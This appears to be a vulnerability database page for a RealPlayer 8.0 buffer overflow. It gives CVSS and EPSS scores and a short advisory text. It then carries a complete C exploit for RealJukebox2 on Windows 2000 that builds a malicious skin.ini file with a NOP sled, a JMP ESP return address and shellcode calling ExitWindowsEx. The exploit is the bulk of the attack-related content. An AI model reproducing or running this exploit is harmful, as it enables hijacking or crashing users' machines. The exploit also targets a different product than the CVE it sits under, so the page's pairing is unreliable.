CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in Real Networks RealPlayer 8.0 and earlier allows remote attackers to execute arbitrary code via a header length value that exceeds the actual length of the header.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
15.61%
–
–
2022-04-03
–
–
15.61%
–
–
2023-03-12
–
–
–
8.88%
–
2024-06-02
–
–
–
8.88%
–
2024-12-22
–
–
–
22.65%
–
2025-01-19
–
–
–
22.65%
–
2025-03-18
–
–
–
–
14.78%
2025-03-18
–
–
–
–
14.78,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/3809/info
RealPlayer is a software package distributed and maintained by Real Media. It is available for Microsoft Windows, Unix, and Linux.
A problem with the handling of file format may make it possible to remotely crash RealPlayer. The problem could also potentially result in code execution.
Upon receiving a file with a malformed header, it is possible to crash the RealPlayer client. A file that specifies a content length greater than the actual size creates a circumstance where RealPlayer reacts unpredictably and becomes unstable. This usually results in the crashing of RealPlayer. This problem may also make it possible to execute arbitrary code.
/*===========================================================
RealJukebox2 1.0.2.379 Exploit
for Windows Windows2000 Professional (Service Pack 2)
The Shadow Penguin Security (http://www.shadowpenguin.org)
Written by UNYUN (unyun@shadowpenguin.org)
============================================================
*/
#include <stdio.h>
#include <windows.h>
#define MAXBUF 4096
#define KERNEL_NAME "kernel32.dll"
#define SKIN_INI "skin.ini"
#define INI_FILE \
"[MAIN]\n"\
"Application=RealJukebox\n"\
"Version=2\n"\
"SkinFamilyCount=5\n"\
"\n"\
"CONTROL1Image=%s\n"
#define NOP 0x90
#define FAKE_OFS1 36
#define FAKE_VAL1 0x7FFDF0F0
#define RETADR_OFS 28
#define CODE_OFS 60
#define RETADR_2000pro 0x77e0af64
static unsigned char egg_2000pro[512]={
0xB8,0xA5,0xFA,0xE1,0x77,0x33,0xDB,0xB3,
0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD,
0x00
};
unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
void valset(char *buf,unsigned int val)
{
buf[0]=val&0xff;
buf[1]=(val>>8)&0xff;
buf[2]=(val>>16)&0xff;
buf[3]=(val>>24)&0xff;
}
int main(int argc,char *argv[])
{
FILE *fp;
char buf[MAXBUF];
unsigned int tgt,exw;
unsigned char *kp;
if ((fp=fopen(SKIN_INI,"wb"))==NULL){
printf("Can not write file.\n");
exit(1);
}
memset(buf,NOP,sizeof(buf));
buf[sizeof(buf)-1]='\0';
if ((kp=(unsigned char *)LoadLibrary(KERNEL_NAME))==NULL){
printf("Can not find %s\n",KERNEL_NAME);
exit(1);
}
tgt=search_mem(kp,kp+0x100000,0xff,0xe4);
if (tgt==0) tgt=RETADR_2000pro;
printf("kp = 0x%x\n",kp);
printf("JMP ESP addr = 0x%x\n",tgt);
exw=(unsigned int)ExitWindowsEx;
printf("ExitWindowsEx = 0x%x\n",exw);
valset(buf+FAKE_OFS1,FAKE_VAL1);
valset(buf+RETADR_OFS,tgt);
valset(egg_2000pro+1,exw);
strncpy(buf+CODE_OFS,egg_2000pro,strlen(egg_2000pro));
fprintf(fp,INI_FILE,buf);
fclose(fp);
printf("Created '%s'.\n",SKIN_INI);
return(0);
}
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Realnetworks>>Realone_player >> Version To (including) 8.0